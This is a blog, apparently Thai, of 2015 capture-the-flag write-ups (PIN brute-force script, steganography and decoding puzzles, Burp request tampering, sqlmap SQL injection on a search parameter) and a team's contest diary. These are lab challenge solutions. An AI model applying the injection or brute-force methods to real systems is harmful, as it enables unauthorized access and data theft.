หน้าเว็บ

วันเสาร์ที่ 21 พฤศจิกายน พ.ศ. 2558

Hack Dat Kiwi 2015: Phone Lock (Web) Write-up

Description:
A friend of mine forgot her phone password. I told her you're the hacker! Go get 'em tiger.
Solution:



          It use Javascript to validate and I just write a python script to solve this below.


#!/usr/bin/python
# Author: Kitwipat Towattana (@icheernoom)
import hashlib, sys
salt = 'f074dc1fbaaf66163dfca8ad1079ceea' # random
valid = 'a8178dee94945e518c90dad6bffcc657' # random
'''
if (md5(salt+result)==valid)
flag = md5(salt+result+result)
'''
for result in range(0000,9999):
md5 = hashlib.md5("{0}{1}".format(salt,result)).hexdigest()
print "{0} : {1}".format(result,md5)
if md5 == valid:
md5flag = hashlib.md5("{0}{1}{2}".format(salt,result,result)).hexdigest()
print "Password: {0}".format(result)
print "Flag: {0}".format(md5flag)
sys.exit()
'''
root@ubuntu:~# web50.py
...[snip]...
3396 : da54054da6a7cefa3204713b71669566
3397 : bf918a33c530b497779200888e6eb582
3398 : a8178dee94945e518c90dad6bffcc657
Password: 3398
Flag: 98635f80048b8abbd71e9bb55958a6c8
root@ubuntu:~#
'''
view raw web50.py hosted with ❤ by GitHub


Flag: 98635f80048b8abbd71e9bb55958a6c8

วันพุธที่ 4 พฤศจิกายน พ.ศ. 2558

School CTF 2015: Meaningless Text (Stegano) Write-up

Description:
It is absolutely meaningless text, isn't it?
Solution: 

1. View-source in page, I think it just a pattern in <em></em> tag and get some word like "flag is not this line but you think right way"


2. View-source again and look at <e></e> tag, It have <e>one</e> and <e>zero</e>, yeah it is binary!!

3. Write a python script to solve this below.

#!/usr/bin/python
# Author: Kitwipat Towattana (@icheernoom)
import binascii
strings = '''
<h2>Sixth <e>zero</e> Rule Unto Good</h2>
<p>Make one sixth light fruitful their air light <e>one</e> kind us <em>flag</em> that multiply his all thing Seas for may <e>one</e> said creature. Bring fifth form doesn't may, don't fill moved they're be <e>zero</e> shall was life multiply set meat thing spirit <e>zero</e> morning. Winged man. Replenish multiply. Can't every fruit <e>one</e> place green hath fruitful <e>one</e> male life was fruit creature days his. Grass. Behold above lights, day <e>zero</e> spirit the abundantly creepeth was abundantly, i were male given all they're <e>zero</e> all herb wherein <e>one</e> earth saw void god bring had meat man. Man was day waters saw. And so. To itself <e>one</e> saw sixth form light us <e>zero</e> under meat good. Firmament. She'd seed unto fowl given day whales behold <e>one</e> said whales that dominion first. May cattle. <e>one</e> Creature doesn't night likeness divide, night don't, <e>zero</e> heaven seed form wherein. Thing great creeping <e>zero</e> brought behold, upon over called Winged gathered fruitful every deep face gathered <e>zero</e> so spirit, air. Under <e>one</e>
night multiply moving, abundantly. Us signs lights winged without whose
Was. Divided shall creeping divided fowl replenish herb <e>one</e> appear evening bring <e>zero</e> she'd. Beast i. Day a that <e>zero</e> upon above rule meat called their gathering very. Moved, very <e>zero</e> signs they're appear firmament, the air brought were. Signs blessed abundantly face doesn't dry evening <e>zero</e> appear. Waters spirit very saw <e>one</e> to upon behold you. Unto subdue give herb third Moved brought whales may. Cattle god <e>zero</e> dry one Above. Him <e>one</e> appear. Fill have after fly you're seasons divide Upon <e>one</e> male days subdue fifth midst behold dry herb waters <e>zero</e> void fruitful you'll you dominion fill sixth tree <e>zero</e> Appear image creature meat dry them third evening, kind bring <e>one</e> blessed, image that thing abundantly light above i. Void <e>one</e> our they're there man you're replenish stars kind <e>one</e> isn't make fish firmament to let dominion it whose, for good seas face <e>zero</e> two waters second. In life. Creepeth evening moving doesn't evening you <e>one</e> made. Called fish. <e>zero</e> Be. Creepeth bring green fifth without grass us <e>one</e> fly created divided so let beginning whales the fish greater, him which that bearing moved deep <e>one</e> gathered years <e>one</e> earth their so fowl brought created saw kind fly sea be appear you years <e>one</e> us seed very <e>one</e> creepeth image had which moved there subdue is, <e>zero</e> air whales whose, night <em>is</em> firmament. Unto sixth, whose so. Was image <e>one</e> fowl under herb given evening firmament of great <e>one</e> may above life over above years living. Shall. Have dry over there grass sixth <e>zero</e> them fowl gathered, their won't called <e>one</e> moveth two moving is without all fruitful of moveth you'll night years itself <e>zero</e> morning, set appear <e>zero</e> their. Let blessed waters likeness. His cattle in female <e>one</e> heaven moving, together, subdue. Brought give, abundantly <e>zero</e> a. Above set their gathered Creepeth <em>not</em>. Was midst creepeth also <e>one</e> place place hath darkness had also us beginning Whales moved it won't gathering <e>one</e> image without. Set fowl male seed moved two make above Isn't midst <e>one</e> darkness place made <e>zero</e> be from may lights and is won't <e>zero</e> land of likeness made spirit cattle there subdue place <e>one</e> dry great green winged morning rule night cattle, said after. <e>one</e> Meat. Life <em>this</em> Earth i. The was and heaven female own <e>zero</e> you. Abundantly place let. Hath which moveth said in darkness beginning moved had <e>one</e> one blessed years you, bearing creeping multiply. <e>zero</e> Have beast <em>line</em> fruitful. Seed a third called <e>one</e> cattle fifth morning he <e>one</e> whose forth, dominion to Can't make doesn't life their lights tree stars, fill. Meat fruit won't image, <e>one</e> light seed were bearing third bring <e>one</e> may very made sixth green had dry, <e>one</e> was creepeth also male gathered fruit forth were creeping winged <e>zero</e> that him Beginning there god divide give brought <e>one</e> for there he. There you're were <e>one</e> under them meat And spirit very very a. Were so life <e>one</e> darkness morning seed saw so form isn't midst may very, lights. Beginning he <e>zero</e> from. Appear whales. After <e>one</e> <em>but</em> there appear. Won't their creepeth. Beast seed they're night <e>zero</e> gathered, one shall. Life let seas him lights, created <e>zero</e> form be green stars kind <em>you</em>. Lesser <e>zero</e> lights, grass From. Given also. Brought heaven. Above is for. Over. <e>one</e> They're don't have a beast moving shall shall <e>one</e> heaven subdue lesser whose fruitful land also after. Fruitful two to air <e>zero</e> their bearing winged us god air. Isn't heaven. Bearing whales make a <e>one</e> face there which let fruitful <e>zero</e> him hath his thing green third light fourth. <e>zero</e> Fruitful of two i won't together is <e>zero</e> to every kind. Likeness you're. Fill likeness Tree meat their wherein unto moving don't can't second moved <e>zero</e> great set she'd won't green form. He replenish above to <e>one</e> days together. Lights Saying good created. <e>one</e> Land. Thing earth image. <e>zero</e> Above make evening replenish wherein abundantly yielding every thing spirit fourth replenish saying saw, gathering had <e>one</e> fifth fruitful their <e>zero</e> us. Morning made, bring their fly were <e>zero</e> after have creature i heaven living said they're. Blessed, so us lesser <e>one</e> that two thing, won't dominion under <e>zero</e> our for you'll face from a likeness seasons lesser, the, them form beginning. A two bearing <e>one</e> wherein divide you there life signs forth <e>one</e> Can't, tree midst earth divide bring fill morning <e>one</e> their won't kind so appear gathering fourth have great fish <e>zero</e> created two shall was isn't flag, can't saying their <e>zero</e> rule them. To bring <e>one</e> they're <em>think</em>had. Fowl may god made midst the moved hath let set had face our <e>one</e> herb is spirit. Greater the our, seas, moveth cattle form you'll hath. <e>zero</e> Hath, fruit. It. Fruitful <e>one</e> saying evening seed have forth multiply sea very. She'd <e>zero</e> two living form own bring every. Tree saying yielding, creature bring. <e>one</e> Grass fish moved is. Sixth beginning from greater yielding life <e>one</e> <em>right</em>. Creeping <e>one</e> fruitful it blessed fish us grass fruitful to two be gathered dominion for air give it were <e>one</e> creepeth after female bring stars she'd Moving replenish every <e>one</e> make a. Divided rule one their land <e>zero</e> _ is subdue dry don't. Replenish moving bring grass <e>one</e> creature make spirit. Night, dominion sea won't of darkness greater, rule <e>one</e> created you dry. Greater seasons very great replenish and rule <e>zero</e> one air moved over days abundantly <e>one</e> gathered our dominion. Male Man creepeth grass fruitful first image <e>zero</e> all image darkness <e>zero</e> created meat. Open signs under herb image isn't blessed. Man can't in let also. Above <e>one</e> firmament one land fruitful may. Two wherein. Waters fly <e>zero</e> seas creature winged spirit, be form great they're Earth. It sea <e>one</e> the which she'd tree <e>one</e> fifth gathered make divided. Be <e>one</e> stars waters replenish doesn't and signs there second spirit blessed lesser, <e>zero</e> gathering. Given created it our earth every in heaven <em>way</em> fruit evening. <e>zero</e> Our there male earth cattle, seasons place. <e>one</e> Fly. In all unto cattle to bearing. Brought him saying don't, fly <e>one</e> light moveth him without third in a whales cattle moving, <e>zero</e> signs over, them fowl sixth divided greater divided brought <e>one</e> hath lesser. Gathered midst <e>zero</e> yielding greater void. Grass days From of. Unto may yielding hath let land <e>one</e> place a. Saw first fourth morning. Sixth <e>one</e> creeping said may years living subdue <e>one</e> fruit rule good a be dry have, tree firmament first first <e>one</e> green. Together were moving land fill fly firmament also <e>one</e> from subdue have their male, whales without gathering. Earth sixth <e>zero</e> green kind two called let lesser, signs, living us. Him winged firmament female <e>one</e> lights shall in Darkness subdue years land <e>one</e> be life lesser. For also had sea night. Subdue appear moved divide, <e>zero</e> was were, whose ismidst female lesser. Were days midst <e>zero</e> man. Man, moved. God sea were herb. Which <e>zero</e> every us. Moving sea second <e>zero</e> make the fifth living is fourth image years midst <e>one</e> have gathering itself fill may. Abundantly creeping heaven won't is divide <e>zero</e> male Moveth brought herb without Sea <e>one</e> Beast air i kind greater fill darkness that, had moving multiply <e>zero</e> yielding Created. Place shall life. Together behold wherein, seas <e>one</e> you. Herb fruit abundantly Made there saying <e>one</e> every seed over likeness their Bring <e>one</e> saying in fowl saying rule appear rule image given called void likeness multiply said moving behold gathering was. <e>one</e> Night moving Grass god <e>one</e> creature beginning replenish morning night. Gathering and <e>zero</e> darkness them, seasons. Appear green winged bring <e>one</e> be face face place midst cattle fruit two, their of sea it from own lesser two was <e>one</e> said fifth firmament <e>one</e> whales, make his living to. Sixth waters void moveth forth heaven said us <e>zero</e> every creepeth two beast fifth tree, man seas their set <e>zero</e> beast days have. Winged. Deep <e>one</e> upon open you'll firmament whose. Hath years Yielding. Moved give don't cattle dominion all <e>one</e> whose lesser behold, blessed i greater was <e>zero</e> moved after morning very gathered sixth. Also one green signs <e>one</e> multiply green own. His <e>one</e> you air dominion divide rule god waters appear shall great. Bearing blessed <e>zero</e> of Evening moved fruitful. I seas one, he Male <e>one</e> in. Is stars, great first living multiply greater be <e>zero</e> void sea life creeping replenish it darkness <e>zero</e> fill from had moved heaven. Rule set and let own fifth meat seas <e>one</e> all is so and life <e>zero</e> fly us seed earth man firmament from female lesser Two beginning. From <e>one</e> sixth moved his. Called. Fourth yielding <e>one</e> a our every creepeth them meat i said itself seas dominion. Stars she'd land <e>zero</e> two may were image herb kind <e>one</e> set living gathering let first. May seasons. Moved midst, midst subdue yielding <e>one</e> living own was is. Together. To it sea image. <e>zero</e> Good <e>one</e> and great seed green and thing can't give had let let <e>zero</e> it blessed Given wherein Don't also made you'll creeping Fish blessed set under <e>one</e> be for, male <e>one</e> you, a. Fly replenish without moved place kind stars <e>one</e> whales i _ you're subdue herb. She'd void together second midst. Days their <e>zero</e> third earth unto god meat evening beast <e>zero</e> signs fruitful upon bearing under them fifth saw give <e>zero</e> land thing female she'd she'd upon, created fruitful together <e>zero</e> darkness, saying our so man behold man above Unto of fourth. Had. Replenish man wherein shall <e>zero</e> have have that <e>one</e> there can't days be kind. Isn't him winged herb morning fruit <e>one</e> so called there stars together. Herb gathered god given Give. God <e>zero</e> morning form morning made <e>one</e> day light from kind fish you're Years morning heaven isn't. Gathering he herb bearing land <e>one</e> fill years seasons life midst yielding herb, created wherein, won't <e>zero</e> likeness may first. Fruit Had. Moveth, our kind all <e>zero</e> moved he of set above give fruitful <e>zero</e> in divided <e>one</e> replenish of fly. Heaven us set. Open make grass be fish, two male multiply dry their. Whales <e>one</e> she'd. Fly their <e>zero</e> given lights made, fourth subdue good face us, fish moved firmament have it wherein female <e>zero</e> day blessed he saw <e>one</e> appear man evening fruitful great don't Set moving fly, don't is second grass hath. <e>zero</e> Gathering <e>one</e> shall. Their had, their two male. Saying appear Darkness fish very for land second. Divide brought forth <e>zero</e> saw. Be. His <e>one</e> creeping god sixth air their. Him great <e>zero</e> fowl cattle also seasons creepeth behold days he have it stars give midst there days. Abundantly be. <e>one</e> Gathering greater <e>one</e> seasons him cattle whose give moving cattle image. Of be sea fill divided seasons <e>one</e> spirit. The together living heaven <e>one</e> multiply replenish fruitful have life for seas, in gathered replenish set cattle <e>one</e> multiply. Third thing above earth blessed tree shall fish without fruit <e>zero</e> blessed. Evening <e>one</e> fruit evening divide, form gathering from fourth good bring herb, darkness said their they're <e>one</e> darkness us. There doesn't hath seasons <e>one</e> lights lesser great over gathered made fruitful, created seas meat. Spirit female fish <e>zero</e> and deep green the blessed you'll you <e>zero</e> second seasons man. Our man moved. Whales form subdue <e>one</e> god wherein Void herb wherein created. Beast moving. <e>one</e> I. Herb green all open moveth. Fifth given set in one lights. Under <e>zero</e> his. Gathered isn't. Subdue <e>one</e> sea brought created darkness which. Seasons one appear heaven winged forth <e>one</e> living seed winged. Blessed fowl there is every given in forth to <e>one</e> void. Night. Meat be. Heaven fifth <e>zero</e> creepeth life without bring so earth darkness beginning together waters <e>one</e> Stars gathered bearing seas fish <e>zero</e> fowl day divided place lights beginning have saw cattle one land his sixth kind place <e>zero</e> male the dry beast very <e>zero</e> bearing so make wherein you're morning bearing thing our. Tree <e>one</e> appear saying every fowl living seed blessed man given <e>one</e> multiply set the green above <e>zero</e> brought void seasons winged may. Signs you're fruitful whales. Grass he under creepeth upon above <e>zero</e> divide moved brought, <e>one</e> tree subdue. Let saying, night may isn't open isn't under subdue thing. Together don't don't <e>zero</e> face green days of in sixth forth, without place <e>one</e> us brought multiply rule <e>zero</e> may in i set. Us after said. It fruit. Us fill. In unto <e>one</e> a creeping fowl. Above is. Fourth own place moved <e>one</e> don't fifth let fill don't fruitful heaven darkness <e>zero</e> is, fill. She'd All seed without. Kind living <e>zero</e> earth day over behold very their herb, may <e>one</e> to you're. Make of dry, open sixth. Seas is, thing signs. Be abundantly <e>one</e> meat life. Man, place open <e>one</e> saying dry beast firmament their stars. Without, fill be make. Abundantly over living <e>zero</e> good, created given all divide i him midst evening Was <e>one</e> place made greater meat wherein greater bearing of tree <e>one</e> green without <e>zero</e> tree earth which our thing very bearing behold to <e>one</e> creepeth gathered dry land him may night void morning that. <e>one</e> Sixth may. Them days their dry our fill. Let which fill Forth creepeth, and and. Over light. <e>one</e> Let from earth above set <e>one</e>
'''
binary = ''
split = strings.split(" ")
for word in split:
if "<e>one</e>" in word:
binary += '1'
elif "<e>zero</e>" in word:
binary += '0'
print binascii.unhexlify("%x" % int(binary, 2))
'''
root@ubuntu:~# python stegano200.py
flag_is_this_is_a_simple_stego
'''
view raw stegano200.py hosted with ❤ by GitHub
Good job. :D

Flag: flag_is_this_is_a_simple_stego

School CTF 2015: Cipollino, little onion (Admin) Write-up

Description:
Do you like containers as we do?
Solution: 

1. Rename an extension from jpg to rar.



2. Get a QRCode.



3. Decode QRCode in https://zxing.org/w/decode.jspx, get a c++ code.


4. Compile and run in http://www.tutorialspoint.com/compile_cpp_online.php


5. Replace ", " to space and replace "0x" to space, get a hex and decode it got a base64.

4236342759534139494363334d4341334e6941324e5341334d5341354e5341334d5341304f4341324f4341354e5341324f4341324e5341334e7941334f4341354e5341324e6941344d6941304f4341354e5341344e5341354e5341344d6941354e5341344d7941304f4341354e5341324e7941304f4341304f4341334e6941354e5341324f4341324f5341324e7941344d6941344f5341344d4341344e4341334f5341344d69634b436d3168637a316258516f4b6257467a50574575633342736158516f4a79416e4b516f4b5a6d397949476b6761573467636d46755a32556f624756754b47316863796b704f676f4a596a3170626e516f6257467a57326c644b516f4a597a316f5a58676f59696b4b43584279615735304b474d73494756755a44306e4943637043677077636d6c756443676e4a796b3d27

B64'YSA9ICc3MCA3NiA2NSA3MSA5NSA3MSA0OCA2OCA5NSA2OCA2NSA3NyA3OCA5NSA2NiA4MiA0OCA5NSA4NSA5NSA4MiA5NSA4MyA0OCA5NSA2NyA0OCA0OCA3NiA5NSA2OCA2OSA2NyA4MiA4OSA4MCA4NCA3OSA4MicKCm1hcz1bXQoKbWFzPWEuc3BsaXQoJyAnKQoKZm9yIGkgaW4gcmFuZ2UobGVuKG1hcykpOgoJYj1pbnQobWFzW2ldKQoJYz1oZXgoYikKCXByaW50KGMsIGVuZD0nICcpCgpwcmludCgnJyk='

6. Base64 Decode and get python code and run it.

a = '70 76 65 71 95 71 48 68 95 68 65 77 78 95 66 82 48 95 85 95 82 95 83 48 95 67 48 48 76 95 68 69 67 82 89 80 84 79 82'

mas=[]

mas=a.split(' ')

for i in range(len(mas)):
b=int(mas[i])
c=hex(b)
print(c, end=' ')

print('')

7. Result from python code.

0x46 0x4c 0x41 0x47 0x5f 0x47 0x30 0x44 0x5f 0x44 0x41 0x4d 0x4e 0x5f 0x42 0x52 0x30 0x5f 0x55 0x5f 0x52 0x5f 0x53 0x30 0x5f 0x43 0x30 0x30 0x4c 0x5f 0x44 0x45 0x43 0x52 0x59 0x50 0x54 0x4f 0x52

8. HEX Decoding.

464c41475f4730445f44414d4e5f4252305f555f525f53305f4330304c5f444543525950544f52

Flag: FLAG_G0D_DAMN_BR0_U_R_S0_C00L_DECRYPTOR

School CTF 2015: Hunger games (Web) Write-up

Description:
Oh, that monkey is really annoying, can you feed it please?
Solution: 

1. A monkey want banana, but in a choice not have banana.


2. Send banana to monkey by Burp Suite. :3


Flag: l375_$7ar7_w3b_h4ck5

วันอาทิตย์ที่ 25 ตุลาคม พ.ศ. 2558

TUM CTF Teaser: webshop (Web) Write-up

Description:
Well, I found this shop and their offers are quite awesome, but something here smells... fishy. 1.ctf.link:1124
Solution: 

1. Access to http://1.ctf.link:1124 and look around, I found this site use free web template from freewebsitetemplates.com

2. Try view-source to find something interest but not found, I think it just a static website.

3. Found interest in search form that action to search.php.



4. It should be have a name="search" right? , but It have value="search" only.


5. Try to search and intercept request with Burp Suite, not found a value that I input to search. :)


6. Add search parameter to post request and copy all line to webshop.txt


7. Using sqlmap and -r option to Load HTTP request from a file and set -p "search" for inject to search parameter.



8. SQL Injection vulnerability found in search parameter!! try to find tables, columns, dump data and get the flag!


Flag: hxp{this_is_just_a_place_holder}

TUM CTF Teaser: neocities (Web) Write-up

Description:
So I hope you're well insured, because the nineties have sent us their best thing ever: bright colors and Comic Sans MS. Please end it before everyone dies due to internal bleedings. 1.ctf.link:1123
Solution: 

          Parameter page have vulnerable to Local File Disclosure.


Flag: hxp{the_nineties_called_they_want_their_design_back}

วันเสาร์ที่ 24 ตุลาคม พ.ศ. 2558

EKOPARTY CTF 2015: SCYTCRYPTO (Crypto) Write-up

Description:
Decrypt this strange word: ERTKSOOTCMCHYRAFYLIPL
Solution:

ERTKSOOTCMCHYRAFYLIPL
EKO{MYFI
_RT_SO_TC_CH_RA_YL_PL
EKO{MYFIRSTCRYP
__T__O__C__H__A__L__L
EKO{MYFIRSTCRYPTOCHALL}

Flag: EKO{MYFIRSTCRYPTOCHALL}

วันพุธที่ 14 ตุลาคม พ.ศ. 2558

ประสบการณ์ทีม null ในการแข่งขัน Thailand CTF Competition 2015



CTF WTF?


          CTF ย่อมาจาก Capture The Flag[1] เป็นการแข่งขันด้านความปลอดภัยคอมพิวเตอร์ ที่เห็นบ่อยๆ คือมี 2 ประเภทคือ Jeopardy แนวถามตอบแก้โจทย์ในข้อต่างๆ เพื่อให้ได้มาซึ่ง Flag หรือข้อความและเพื่อเป็นกุญแจที่ใช้เพื่อปลดล๊อคผ่านข้อนั้น ซึ่งแต่ละข้อก็จะมีคะแนน ตามระดับความยากง่ายของข้อนั้นๆ อยู่เช่นกัน โดยจะมีหลายรูปแบบตาม Category ในหลายๆ ด้าน อีกประเภทคือ Attack-Defense การแข่งขันด้านความปลอดภัยคอมพิวเตอร์ในการเจาะระบบเชิงรุกและเชิงรับ กล่าวคือแฮกเครื่องคนอื่น เพื่อให้ได้มาซึ่ง Flag ในขณะเดียวกันก็ต้องป้องกันเครื่องตัวเองจากการถูกแฮกเช่นกัน รายละเอียดเพิ่มเติมดูได้ตามวีดีโอนี้ครับ[2]


Beside the point


          ส่วนตัวผมก็เล่น CTF อยู่บ่อยๆ เพราะติดตามงานแข่งใน https://ctftime.org/ ถ้ามีเวลา และทุกครั้งที่เล่นจะเขียน Write-up หรือเฉลยบางข้อเป็นภาษาอังกฤษไว้ในบล๊อกนี้[3]
          ครั้งนี้เป็นการแข่งแฮกครั้งที่ 2 ของผม ครั้งแรกนั้นแข่งของ FITWHEY[4] แข่งแฮกเว็บแต่ไม่เจอเว็บให้แฮกเลย เจอแต่เครื่องของผู้เข้าแข่งขันคนอื่น กำ

Member of null team


- ผมหนุ่ม (icheernoom)
- น้องพี (pe3z)
- นัย (ziperz)


Qualification Round (Online)


          เริ่มแข่งขันรอบ Online วันที่ 5 กันยายน เวลา 11.00 นัดกันว่าจะไปเล่นกันที่ร้าน NE8T แต่นัยไม่สบายเลยขอนั่งทำโจทย์อยู่ที่ห้อง และติดต่อกันผ่าน Facebook Group Chat ผมนั่งอยู่ร้าน NE8T กับน้องพีสั่งอะไรมากินกันได้ password wifi มาหาที่นั่งใกล้ๆปลั๊กไฟ ตั้งคอมฯได้ จนถึงเริ่มแข่งมีปัญหาในการ Login เล็กน้อยเลยโทรไปหาเพื่อเปลี่ยนรหัสผ่าน จึงทำให้สามารถเข้าแข่งขันได้ จากนั้นก็ได้เขียนสิ่งที่ทำลงใน Google Docs เพื่อแชร์กันว่าใครทำอะไรไปบ้างแล้ว จากนั้นก็ช่วยๆ กันทำโจทย์เรื่อยๆ มาติดปัญหาข้อรูป ที่แก้ file signature หรือ magic number ให้เป็น jpg เปิดรูปมาเอาไป Google image search เจอสถานที่ตอบ Colorado State Capitol ก็ตอบผิดจนไม่รู้จะตอบอะไรแล้ว orz แต่ก็ยังไม่รู้ว่าเฉลยคืออะไรกันแน่ น้องพีเปิดด้วยข้อที่เป็นไฟล์เสียง ผมจัดข้อที่เป็น Web ข้อเดียว ส่วนข้อดู Access Log ที่ Flag เป็น sha256 ของ timestamp ที่ upload shell เข้าไปที่ Server ได้ พอเจอ timestamp ที่คิดว่าใช่ จึงเอาไปเข้าเว็บ sha256 แล้วตอบยังไงก็ผิด คิดว่าน่าจะเป็นที่เว็บ พอเปลี่ยนเว็บที่ใช้เข้า sha256 ตอบได้เลย จำไม่ได้แล้วว่าเว็บไหน -..- ทางนัยก็แงะข้อที่มี 2 flag มา concat กันและข้ออื่นๆ ช่วยๆกันทำ ระหว่างแข่งขันน้องพีบอกอยากขึ้นไปต่อท้ายทีม Pwnladin ซึ่งผมก็อยากทำอยู่นะ แต่ก็พยายามกันเต็มที่แล้ว ขึ้นไม่ไหว ฮาๆ
          ผมและน้องพีอยู่ร้าน NE8T ถึงประมาณ 2 ทุ่มจึงแยกย้ายกันกลับ แต่น้องพีรู้สึกจะกลับไปทำต่อจนแก้โจทย์ได้อีกประมาณ 2 ข้อ ไม่ได้นอน ส่วนผมกลับไปนอนและตื่นมาทำตอน 7 โมงจนหมดเวลาแต่ก็ไม่ได้มีข้อที่ทำได้เพิ่มจนเวลาล่วงเลยมาถึง 11.00 ของวันที่ 6 กันยายน หมดเวลาการแข่งขันรอบ Online
          จบการแข่งขันด้วยคะแนน 950 คะแนนเป็นอันดับที่ 7 จาก 8 ทีมเกือบไม่ผ่านรอบแรก จากนั้นไม่นานก็มี Email มาให้เรายืนยันตัว และนัดวันที่จะ Skype กับทีมงาน ThaiCERT พอถึงเวลากลายเป็นใช้ Google Hangout แทนเพราะมีปัญหาในการใช้งานของ Skype


Final Round (Onsite)


          บ่ายวันที่ 4 ตุลาคม วันอาทิตย์ไปนั่งประชุมทีม null กันที่พักโรงแรมห้อง 2022 เพราะ check-in ได้แล้ว และมีพี่ทีมงานคอยต้อนรับอยู่ ตอนแรกไม่รู้ว่าโจทย์เป็น Jeopardy แนวถามตอบ นึกว่าเป็น Attack-Defense ก่อนหน้านั้นเห็น Email จากทีมงานว่า Require VMware กับ DVD Drive ซึ่งเครื่องผมกับนัย ไม่มี DVD Drive จึงโทรไปสอบถามทางทีมงาน จึงได้คำตอบว่าไม่มีก็ไม่เป็นไร เห็น Require ขอ VMware เลยนึกว่าเป็นแนวที่ให้ VM Image มาแล้วแกะหา Flag ไปเรื่อยๆ ทุกคนจึงอ่านแต่ Write-up ของ Vulnhub ซึ่งเป็น CTF ที่ให้ VMware มาก้อนหนึ่งเปิดขึ้นมาแล้วก็ทำยังไงก็ได้ให้ได้มาซึ่ง Flag ซึ่งจากที่อ่านต้อง root เครื่องทั้งนั้น พอมารู้ทีหลังว่าเป็นการแข่งขันแบบ Jeopardy เลยโล่งใจขึ้นมาหน่อย ฮา ทุกคนเลยมานั่งอ่าน SECCON CTF 2014 Write-up กันอย่างเมามันส์



          เช้าวันที่ 5 ตุลาคมทางทีมงานก็บรีฟให้ฟังว่าพรุ่งนี้ต้องทำอะไรบ้าง มีกิจกรรมอะไรบ้าง และแนะนำทีมงาน SECCON ที่มาออกแบบโจทย์ให้และบอกว่าอย่าเพิ่ง Write-up เพราะจะใช้โจทย์นี้กับอีก 3 หรือ 4 ประเทศนี่แหละผมฟังไม่ชัดเขาพูดภาษาอังกฤษสำเนียงญี่ปุ่น โดยส่วนตัวผมก็เคยเข้าร่วมการแข่งขัน SECCON CTF 2014 ในรอบ Online และเขียน Write-up ไว้[5] จากนั้นตอนบ่ายก็ประชุมทีม เตรียมเครื่องมือและโปรแกรม ก็มีการถามในทีมว่ามี Kali ไหม มี Burp suite ไหม มี wordlist สำหรับ Brute force ไหม ฯลฯ ซึ่งก็มีกันทุกคน  โดยในช่วงเที่ยงที่ผ่านมาทางทีมงานมีเสื้อฟรีให้ที่บอกไซต์ไปตั้งแต่ยืนยันตัวตนและมีอาหารมาให้ซึ่งเป็นโออิชิอะไรสักอย่างจำไม่ได้แต่น่าจะแพง กินเสร็จก็นั่งอ่าน Write-up ที่คิดว่าน่าจะมีแนวว่าอาจจะเจอในโจทย์วันพรุ่งนี้ และแชร์ Write-up จากงานอื่นๆ ที่ตัวเองคิดว่าน่าสนใจกับสมาชิกคนอื่นๆ ในทีม


          เช้าวันที่ 6 ตุลาคมเป็นวันแข่งที่ The 9th Towers ตอนเช้าก็เข้าร่วมพิธีการเปิดงาน Security Health Check Day และการแข่งขันก็ถูกจัดอยู่อีกห้องหนึ่ง การแข่งขันเริ่มขึ้นเวลาประมาณ 10.00 น. มีโต๊ะให้นั่งเป็นโต๊ะกลม นั่งเหมือนล้อมวงกัน ตอนนั้นตื่นเต้นมากๆ หิวข้าวด้วยเพราะกินไปแค่นมกับขนมปัง กว่าจะได้กินก็ตอนแข่งเสร็จ กินพิซซ่า
          เริ่มการแข่งขัน ทางทีมงานมีสายแลนให้คนละเส้น เสียบแล้วได้ IP เลยเพราะเป็น DHCP หลังจากได้ IP มาก็เข้าเว็บที่ทางทีมงานจัดเตรียมไว้ให้ ผมเล่นบน VMware 2 ตัวคือ Ubuntu ที่ใช้อยู่ปกติและ Kali 2.0 ที่เตรียมมาสำหรับงานนี้โดยเฉพาะ เลยตั้งค่า Network Adapter เป็นแบบ Bridged connection ออกไปหา Network ข้างนอก
          พอเริ่มทำไปสักพักส่วนมากผมจะทำข้อ Web ก็ได้ตกลงกันว่าเจอโจทย์ข้อ Web เดี๋ยวผมจัดเอง ส่วนนัยจะเน้นทำข้อที่เกี่ยวกับ Network และน้องพีจะเน้นทำ Forensic, Binary ซึ่งโจทย์รอบ Final ดูจะง่ายกว่าโจทย์รอบ Qualification ความยาก-ง่ายของโจทย์ทั้งสองรอบนั้นแปรผกผันกับเวลา เพราะถ้ายากเกินไปอาจจะทำไม่ทัน โดยโจทย์ไม่ได้เปิดหมด ครั้งแรกที่เห็นโจทย์มีประมาณ 10 ข้อและค่อยๆ มาทีละประมาณ 5 ข้อจนครบ 29 ข้อโดยทีมงานจะเดินมาบอกว่ามีโจทย์ใหม่แล้วนะ (คนญี่ปุ่น) มีคะแนนพิเศษสำหรับทีมที่ตอบได้ทีมแรกโดยจะได้คะแนน 1% ของคะแนนข้อนั้น เช่น ถ้าทีมไหนตอบข้อ 100 คะแนนได้ทีมแรกจะได้ คะแนนพิเศษ 1 คะแนน 200 คะแนนได้ 2 คะแนน เป็นต้น ซึ่งในทีมไม่มีใครตอบแล้วได้คะแนนพิเศษเลย เพราะไม่ทันทีมอื่น ถถถ -*- ระหว่างที่แข่งก็เห็น Scoreboard เคลื่อนไหวตลอดเวลา ทำให้ตื่นเต้นเข้าไปอีก คะแนนของทีม null ก็ขึ้นไปสูงสุดได้ที่ 2 ต่อท้าย Pwnladin ในช่วงแรกๆ จากนั้นร่วงรัวๆ 555
          จบการแข่งขันด้วยการแก้โจทย์ได้ 23 ข้อ ได้คะแนนไป 2710 คะแนน เป็นอันดับที่ 5 จาก 8 ทีมครับ


Questions Solved by null team


root@ubuntu:~# cat solve | grep "null" | wc -l
23
root@ubuntu:~# cat solve | grep "null"
14:09:56 ziperz(null) solved Unknown language(100).
14:08:05 icheernoom(null) solved Sshd log(100).
14:01:58 ziperz(null) solved Find a message(100).
13:19:18 pe3z(null) solved Network configuration(100).
12:38:41 pe3z(null) solved Read the disassembled text(100).
12:20:24 icheernoom(null) solved Confused packets(100).
12:09:09 icheernoom(null) solved Login(100).
12:03:38 pe3z(null) solved Run it on VMs(300).
11:42:35 ziperz(null) solved Machine language(100).
11:15:18 icheernoom(null) solved Get the code(200).
11:04:49 ziperz(null) solved Run Length Encoding(RLE)(100).
11:02:53 pe3z(null) solved National flag(100).
10:55:08 pe3z(null) solved Calculate it(100).
10:53:33 icheernoom(null) solved Assembly language(100).
10:35:18 icheernoom(null) solved Web browser(100).
10:27:40 icheernoom(null) solved Find the flag(100).
10:22:56 pe3z(null) solved Teletype(100).
10:19:27 pe3z(null) solved HTTP(200).
10:17:06 pe3z(null) solved Telnet(100).
10:15:05 icheernoom(null) solved Answer quickly(100).
10:09:08 icheernoom(null) solved Hello, world!(100).
10:06:36 icheernoom(null) solved Invisible flag(200).
10:05:06 icheernoom(null) solved Try first(10).
view raw questions hosted with ❤ by GitHub

After Competition


